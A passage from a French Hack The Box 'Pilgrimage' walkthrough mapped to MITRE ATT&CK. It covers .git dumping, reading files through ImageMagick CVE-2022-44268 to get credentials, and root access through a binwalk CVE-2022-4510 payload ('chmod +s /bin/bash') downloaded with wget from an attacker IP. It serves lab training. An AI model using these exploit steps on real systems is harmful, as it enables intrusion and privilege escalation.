<p>Grâce à cette énumération, nous découvrons l'existence d'un dossier .git sur le service web. Le dossier .git contient l'intégralité de l'historique des versions d'un projet, y compris des informations sensibles telles que les fichiers de configuration, les mots de passe de base de données, etc. Cela peut donc conduire à de graves fuites d'informations. Nous pouvons récupérer des informations intéressantes dans ce type de dossier, notamment s'il provient <strong>des dépôts de code interne de l'entreprise</strong>. J'utilise notamment les scripts de <a href="https://github.com/internetwache/GitTools" target="_blank" rel="noopener nofollow" title="GitTools">GitTools</a> pour télécharger et extraire les informations à partir d'une arborescence de fichier git.</p>



<blockquote class="wp-block-quote">
<p>Dans la réalité, ce type de fuite d'information est loin d'être rare, il existe même des <a href="https://www.it-connect.fr/google-dorks-google-hacking-exploiter-toute-la-puissance-de-google/" target="_blank" rel="noopener nofollow" title="Google Dorks">Google Dorks</a> pour découvrir les répertoires .git indexés par Google. </p>
</blockquote>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) </strong>: <a href="https://attack.mitre.org/techniques/T1213/003/" target="_blank" rel="noopener nofollow" title="T1213.003 - Data from Information Repositories: Code Repositories">T1213.003 - Data from Information Repositories: Code Repositories</a></p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="760" height="652" src="media/42c6cc3a.hackthebox-pilgrimage-walkthrough-git-gittools.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-git-gittools.png" alt="" class="wp-image-72641" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-git-gittools.png 760w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-git-gittools-550x472.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-git-gittools-150x129.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-git-gittools-50x43.png 50w" sizes="(max-width: 760px) 100vw, 760px" /></figure></div>


<p>On voit ici que GitTools extrait toute l'arborescence git du projet, notamment avec les <em>commits</em>, les différentes versions, etc. Je vous oriente vers cet article pour en savoir plus sur les fichiers présents dans un .git : <a href="https://medium.com/analytics-vidhya/git-part-3-discover-the-git-folder-ca3e828eab3d" target="_blank" rel="noopener nofollow" title="Git Part 3: Discover the .git Folder">Git Part 3: Discover the .git Folder</a>. </p>



<p>Le script <strong>extractor</strong> de GitTools peut ensuite être utilisé pour extraire les fichiers présents dans le dépôt à partir des différents <em>commits </em>:</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="430" src="media/c87c699f.thebox-pilgrimage-walkthrough-git-gittools-extractor-800x430.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-git-gittools-extractor-800x430.png" alt="" class="wp-image-72640" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-git-gittools-extractor-800x430.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-git-gittools-extractor-550x295.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-git-gittools-extractor-150x81.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-git-gittools-extractor-768x412.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-git-gittools-extractor-50x27.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-git-gittools-extractor.png 959w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Nous nous retrouvons donc avec une partie des fichiers de l'application web et notamment son code source ! Plutôt pratique lorsque l'on souhaite s'attaquer à une application web d'avoir son code source à disposition.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="682" height="555" src="media/fd329c98.hackthebox-pilgrimage-walkthrough-git-source-code.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-git-source-code.png" alt="" class="wp-image-72639" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-git-source-code.png 682w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-git-source-code-550x448.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-git-source-code-150x122.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-git-source-code-50x41.png 50w" sizes="(max-width: 682px) 100vw, 682px" /></figure></div>


<p>À ce propos, il est peut être temps de s'intéresser à ce que fait cette application web !</p>



<h3 class="wp-block-heading">B. Exploitation de l'application web</h3>



<p>En se rendant sur l'application web, nous constatons qu'un formulaire de dépôt de fichier est présent :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img decoding="async" width="800" height="506" src="media/0a1af3e7.hackthebox-pilgrimage-walkthrough-website-upload-800x506.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-website-upload-800x506.png" alt="" class="wp-image-72648" style="width:642px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-website-upload-800x506.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-website-upload-550x348.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-website-upload-150x95.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-website-upload-768x486.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-website-upload-50x32.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-website-upload.png 947w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Ces fonctionnalités sont toujours très intéressantes pour les attaquants, car si elles contiennent des faiblesses, l'attaquant pourra directement déposer du code malveillant sur le serveur web. Il faut également ici prendre note du "<em>Shrink</em>", qui signifie "rétrécir". Cela signifie que <strong>l'image que l'on dépose est modifiée automatiquement</strong> pour être rétrécie, ce qui est aussi assez fréquent pour régler des problématiques de taille et poids d'images.</p>



<p>À partir des données présentes dans le code source récupéré précédemment, nous pouvons extraire tout à un tas d'informations très utiles, et notamment l'utilisation de la <strong>bibliothèque imageMagick</strong>, utilisée pour la manipulation des images :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="245" src="media/8bfc0241.hackthebox-pilgrimage-walkthrough-sourcecode-magick-800x245.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-sourcecode-magick-800x245.png" alt="" class="wp-image-72665" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-sourcecode-magick-800x245.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-sourcecode-magick-550x169.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-sourcecode-magick-150x46.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-sourcecode-magick-768x236.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-sourcecode-magick-50x15.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-sourcecode-magick.png 1522w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Cela rappellera de mauvais souvenirs à toute personne ayant travaillé dans la cybersécurité en 2016 : la libraire ImageMagick et sa vulnérabilité<strong> ImageTragick (CVE-2016–3714)</strong>. Étant donné que nous avons récupéré le dépôt git de l'application, nous disposons également du binaire ImageMagick qui est utilisé pour traiter les images et nous pouvons récupérer sa version :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full is-resized"><img decoding="async" width="791" height="130" src="media/6f74cf17.hackthebox-pilgrimage-walkthrough-imagemagick.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick.png" alt="" class="wp-image-72647" style="width:694px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick.png 791w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-550x90.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-150x25.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-768x126.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-50x8.png 50w" sizes="(max-width: 791px) 100vw, 791px" /></figure></div>


<p>Avec ce numéro de version, nous pouvons effectuer <strong>une recherche des vulnérabilités connues grâce à <a href="https://www.it-connect.fr/recherche-rapide-dans-la-base-exploit-db-avec-searchsploit/" target="_blank" rel="noopener" title="">searchsploit</a></strong> :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img decoding="async" width="800" height="259" src="media/41e181de.ebox-pilgrimage-walkthrough-imagemagick-searchsploit-800x259.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-searchsploit-800x259.png" alt="" class="wp-image-72646" style="width:661px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-searchsploit-800x259.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-searchsploit-550x178.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-searchsploit-150x48.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-searchsploit-768x248.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-searchsploit-50x16.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-searchsploit.png 931w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Deux vulnérabilités connues affectent exactement notre version, l'une des deux permet de lire un fichier arbitraire sur le serveur :  <a href="https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC" target="_blank" rel="noopener nofollow" title="CVE-2022-44268 ImageMagick Arbitrary File Read&nbsp;">CVE-2022-44268 ImageMagick Arbitrary File Read</a>.</p>



<p>Grâce à cette ressource, nous disposons d'un PoC (<em>preuve de concept</em>) utilisable et des détails techniques de la vulnérabilité, un jeu d'enfant donc ! Dernier élément du puzzle, quel fichier lire ? Nous disposons déjà du code source de l'application, il y a de grandes chances pour que le service web soit exécuté sous www-data, qui a des droits de lecture restreints sur le système… Si l'on se penche à nouveau sur le code source de l'application, nous pouvons identifier un fichier intéressant :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img decoding="async" width="800" height="279" src="media/292bb7a3.ackthebox-pilgrimage-walkthrough-sourcecode-database-800x279.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-sourcecode-database-800x279.png" alt="" class="wp-image-72645" style="width:665px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-sourcecode-database-800x279.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-sourcecode-database-550x192.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-sourcecode-database-150x52.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-sourcecode-database-768x268.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-sourcecode-database-50x17.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-sourcecode-database.png 842w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Une <strong>base de données sqlite</strong>, qui sera forcément lisible par le service web puisqu'il n'a pas besoin de service pour lire une base de données sqlite, c'est le code de l'application qui interagit en direct avec ce type de fichier.</p>



<p>Cette vulnérabilité consiste à exploiter un défaut dans le <em>parsing </em>des fichiers d'imageMagick. Il est possible de faire en sorte qu'imageMagick intègre dans l'image qu'il génère (par exemple lors du redimensionnement d'une image), un fichier dont nous contrôlons le nom. Par exemple, <strong>j'ajoute à mon image 1.png un champ texte "profile" contenant "/etc/hosts" via l'outil pngcrush</strong> :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="621" height="528" src="media/6764dfd9.hackthebox-pilgrimage-walkthrough-imagemagick-pngcrush.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-pngcrush.png" alt="" class="wp-image-72644" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-pngcrush.png 621w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-pngcrush-550x468.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-pngcrush-150x128.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-pngcrush-50x43.png 50w" sizes="(max-width: 621px) 100vw, 621px" /></figure></div>


<p>Je dépose ce fichier sur le serveur, qui va redimensionner mon image, puis je retélécharge l'image générée par l'application web. J'y récupère notamment un bloc de texte hexadécimal qui sera le contenu du fichier intégré via l'exploitation de la vulnérabilité. Le contenu hexadécimal peut être décodé en un fichier <strong>/etc/hosts </strong>provenant de la cible.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="378" src="media/823c176d.ox-pilgrimage-walkthrough-imagemagick-pngcrush-hosts-800x378.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-pngcrush-hosts-800x378.png" alt="" class="wp-image-72643" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-pngcrush-hosts-800x378.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-pngcrush-hosts-550x260.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-pngcrush-hosts-150x71.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-pngcrush-hosts-768x363.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-pngcrush-hosts-50x24.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-pngcrush-hosts.png 946w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p><strong>Technique d'attaque (MITRE ATT&amp;CK)</strong> : <a href="https://attack.mitre.org/techniques/T1190/" target="_blank" rel="noopener nofollow" title="T1190 - Exploiting Public-Facing application">T1190 - Exploiting Public-Facing Application</a></p>



<p>Maintenant que nous avons validé le fonctionnement de l'attaque, nous pouvons réitérer l'opération pour récupérer la base de données de l'application <strong>/var/db/pilgrimage</strong>. J'utilise également un petit script Python pour convertir l'hexadécimal récupéré en fichier sqlite. Nous parvenons à obtenir des identifiants, comme le montre l'image ci-dessous.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img decoding="async" width="800" height="476" src="media/dd306f42.lgrimage-walkthrough-imagemagick-psqlite-creds-emily-800x476.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-psqlite-creds-emily-800x476.png" alt="" class="wp-image-72642" style="width:652px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-psqlite-creds-emily-800x476.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-psqlite-creds-emily-550x327.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-psqlite-creds-emily-150x89.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-psqlite-creds-emily-768x457.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-psqlite-creds-emily-50x30.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-imagemagick-psqlite-creds-emily.png 833w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p><strong>Technique d'attaque (MITRE ATT&amp;CK)</strong> : <a href="https://attack.mitre.org/techniques/T1552/001/" target="_blank" rel="noopener nofollow" title="T1552.001 - Unsecured Credentials: Credentials In Files">T1552.001 - Unsecured Credentials: Credentials In Files</a></p>



<h3 class="wp-block-heading">C. Élévation de privilège</h3>



<p>Nous avons des identifiants, tentons de les utiliser sur le seul autre service exposé : SSH.</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) </strong>: <a href="https://attack.mitre.org/techniques/T1021/004/" target="_blank" rel="noopener nofollow" title="T1021.004 - Remote Services: SSH">T1021.004 - Remote Services: SSH</a></p>



<pre class="wp-block-code"><code>$ ssh emily@pilgrimage.htb
emily@pilgrimage:~$ cat user.txt
d&#91;REDATECTED]1</code></pre>



<p><strong>Ils fonctionnent !</strong> Nous avons à présent un premier accès à la machine. Ici, plusieurs opérations d'énumération sont généralement menées par l'attaquant. Celui-ci va chercher à savoir où il a atterri et quelles peuvent être les prochaines étapes pour élever ses privilèges sur le système compromis et pour rebondir sur le reste du réseau.</p>



<blockquote class="wp-block-quote">
<p>Les opérations d'énumération d'un attaquant sur les systèmes d'exploitation Linux sont généralement assez verbeuses du point de vue des solutions de sécurité (IDS, EDR, etc.). La consultation d'un fichier ou l'exécution de commandes d'énumération (ip, whoami, ps, etc.) sont assez faciles à monitorer de nos jours. Encore faut-il avoir mis en place ces solutions et regarder les alertes qu'elles génèrent ! </p>
</blockquote>



<p>Regardons par exemple quels sont les processus en cours d'exécution :</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK)</strong> : <a href="https://attack.mitre.org/techniques/T1057/" target="_blank" rel="noopener nofollow" title="T1057 - Process Discovery">T1057 - Process Discovery</a></p>



<pre class="wp-block-code"><code>$ ps -faux
root    741  0.0  0.0 6816  2968 ?  Ss  15:45 0:00 /bin/bash /usr/sbin/malwarescan.sh
root    760  0.0  0.0 2516   720 ?  S   15:45 0:00  _ /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
root    761  0.0  0.0 6816  2416 ?  S   15:45 0:00  _ /bin/bash /usr/sbin/malwarescan.sh</code></pre>



<p>Le script<strong> /usr/sbin/malwarescan.sh</strong> me semble inhabituel, de plus il tourne en tant que root et nous pouvons lire son contenu :</p>



<pre class="wp-block-code"><code>emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh
#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist&#91;@]}"; do
                if &#91;&#91; "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"
                        break
                fi
        done
done</code></pre>



<p>À première vue il n'y a pas de vulnérabilité dans le script, les binaires utilisés sont bien spécifiés avec leur chemin absolu. Si l'on s'attarde sur ce qu'il fait concrètement : on peut noter qu'il utilise <strong>inotifywait</strong> pour être averti de la création d'un fichier dans le dossier de dépôt de fichier de l'application web. Puis il utilise <strong>binwalk</strong> sur les fichiers nouvellement créés pour en extraire des fichiers éventuellement cachés. Il supprime enfin les fichiers qu'il juge indésirables (ici les exécutables Windows). Le script est donc <strong>exécuté par root à chaque fois qu'une image est déposée</strong>.</p>



<p>On peut toutefois aller un peu plus loin et se rappeler que le binaire <strong>binwalk </strong>sera exécuté en tant que root sur le système. Regardons si l'on peut obtenir sa version :</p>



<pre class="wp-block-code"><code>emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ binwalk -h                               
Binwalk v2.3.2</code></pre>



<p>Comme pour imageMagick, nous pouvons utiliser searchsploit pour récupérer les vulnérabilités liées à cette version :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img decoding="async" width="800" height="141" src="media/0c151c1e.hackthebox-pilgrimage-walkthrough-binwalk-800x141.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-binwalk-800x141.png" alt="" class="wp-image-72651" style="width:573px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-binwalk-800x141.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-binwalk-550x97.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-binwalk-150x26.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-binwalk-768x135.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-binwalk-50x9.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/hackthebox-pilgrimage-walkthrough-binwalk.png 893w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p><strong>Technique d'attaque (MITRE ATT&amp;CK)</strong> : <a href="https://attack.mitre.org/techniques/T1588/005/" target="_blank" rel="noopener nofollow" title="T1588.00 - Obtain Capabilities: Exploits">T1588.00 - Obtain Capabilities: Exploits</a></p>



<p>Nous pouvons étudier cette vulnérabilité et déposer le code d'exploitation sur notre cible : <a href="https://github.com/adhikara13/CVE-2022-4510-WalkingPath" target="_blank" rel="noopener nofollow" title=""><code>CVE-2022-4510</code></a>. Elle permet de faire exécuter du code par binwalk lorsqu'il traite un fichier :</p>



<pre class="wp-block-code"><code><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-pale-cyan-blue-color"># Sur la machine d'attaque, téléchargement du PoC</mark>
$ git clone https://github.com/adhikara13/CVE-2022-4510-WalkingPath.git

<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-pale-cyan-blue-color"># Création d'une image malveillant avec une charge utile</mark>
$ python3 walkingpath.py command --command "<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-amber-color">chmod +s /bin/bash</mark>" ../64e4ba1a882ca.png   
                               
<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-pale-cyan-blue-color"># Création d'un mini serveur web</mark>
$ python3 -m http.server</code></pre>



<p>Vous l'aurez compris, mon attaque va consister à <strong>ajouter <a href="https://www.it-connect.fr/les-droits-sous-linux/" target="_blank" rel="noopener" title="le bit setuid">le bit setuid</a> au binaire /bin/bash</strong>, ce qui permettra à tout utilisateur de l'exécuter avec les droits de son propriétaire, à savoir "<strong>root</strong>".</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK)</strong> : <a href="https://attack.mitre.org/techniques/T1068/" target="_blank" rel="noopener nofollow" title="T1068 - Exploitation for Privilege Escalation">T1068 - Exploitation for Privilege Escalation</a></p>



<pre class="wp-block-code"><code><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-pale-cyan-blue-color"># Téléchargement de l'image malveillante</mark>
emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ wget http://10.10.14.116:8000/binwalk_exploit.png

<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-pale-cyan-blue-color"># Utilisation du bit setuid sur /bin/bash pour avoir un accès root</mark>
emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ /bin/bash -p 
bash-5.1# cat /root/root.txt
6&#91;REDACTED]f</code></pre>



<p>Nous avons <strong>compromis totalement le système cible</strong>. Dans un contexte réaliste, cette opération n'est généralement que la première étape d'une cyberattaque. L'attaquant va ici chercher à extraire un maximum d'information sur le système compromis (base d'authentification locale, information sur le réseau local, le domaine, installation de keylogger) puis tenter de propager sa compromission à d'autres machines, voire à tout le système d'information. Il pourra notamment se servir de ce système comme un moyen de rebond vers le reste du réseau interne, mais aussi de la persistance à long terme (<em>backdoor</em>).</p>



<h2 class="wp-block-heading">IV. Résumé de l'attaque</h2>



<p>Voici une description de l'attaque réalisée en utilisant les TTP (<em>Tactics, Techniques and Procedures</em>) du <a href="https://attack.mitre.org/" target="_blank" rel="noopener nofollow" title="framework MITRE ATT&amp;CK">framework MITRE ATT&amp;CK</a> :</p>



<figure class="wp-block-table"><table><tbody><tr><td class="has-text-align-left" data-align="left"><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">TTP</mark></strong> (MITRE ATT&amp;CK)</td><td><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Détails</mark></strong></td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1046/" target="_blank" rel="noopener nofollow" title="T1046 - Network Service Discovery">T1046 - Network Service Discovery</a></td><td>Utilisation de <strong>nmap</strong> pour découvrir les services exposés sur le réseau</td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1595/003/" target="_blank" rel="noopener" title="T1595.003 - Active Scanning: Wordlist Scanning">T1595.003 - Active Scanning: Wordlist Scanning</a></td><td>Utilisation de <strong>ffuf</strong> pour énumérer les fichiers et dossiers du service web exposé via des wordlists.</td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1213/003/" target="_blank" rel="noopener nofollow" title="T1213.003 - Data from Information Repositories: Code Repositories">T1213.003 - Data from Information Repositories: Code Repositories</a></td><td>Récupération du dossier .git présent sur le service web.</td></tr><tr><td class="has-text-align-left" data-align="left"> <a href="https://attack.mitre.org/techniques/T1190/" target="_blank" rel="noopener nofollow" title="T1190 - Exploiting Public-Facing application">T1190 - Exploiting Public-Facing Application</a></td><td>Exploitation de la <strong>CVE-2022-44268</strong>, ciblant <strong>imageMagick</strong>, pour lire des fichiers arbitraires sur la cible</td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1552/001/" target="_blank" rel="noopener nofollow" title="T1552.001 - Unsecured Credentials: Credentials In Files">T1552.001 - Unsecured Credentials: Credentials In Files</a></td><td>Récupération et découverte d'identifiants dans un fichier sqlite.</td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1021/004/" target="_blank" rel="noopener nofollow" title="T1021.004 - Remote Services: SSH">T1021.004 - Remote Services: SSH</a></td><td>Connexion au serveur SSH compromis</td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1057/" target="_blank" rel="noopener nofollow" title="T1057 - Process Discovery">T1057 - Process Discovery</a></td><td>Découverte des processus en cours d'exécution.</td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1588/005/" target="_blank" rel="noopener nofollow" title="T1588.00 - Obtain Capabilities: Exploits">T1588.00 - Obtain Capabilities: Exploits</a></td><td>Récupération et utilisation du code d'exploitation de la <strong>CVE-2022-4510</strong> ciblant <strong>binwalk</strong>.</td></tr><tr><td class="has-text-align-left" data-align="left"><a href="https://attack.mitre.org/techniques/T1068/" target="_blank" rel="noopener nofollow" title="T1068 - Exploitation for Privilege Escalation">T1068 - Exploitation for Privilege Escalation</a></td><td>Dépôt du fichier malveillant et exécution du payload via binwalk.</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">IV. Notions abordées</h2>



<h3 class="wp-block-heading">A. Côté attaquant</h3>



<p>Ici, nous avons bien été aidé par <strong>les versions des binaires</strong> à attaquer, il est important pour un attaquant de savoir récupérer le plus d'informations possibles sur sa cible afin d'avoir une vue la <strong>plus complète possible de la surface d'attaque d'un système</strong>, d'un simple script ou d'un réseau entier. La connaissance des outils utilisés par les développeurs et de leurs dangers (ici, git) est également importante pour savoir identifier et exploiter chaque faiblesse.</p>



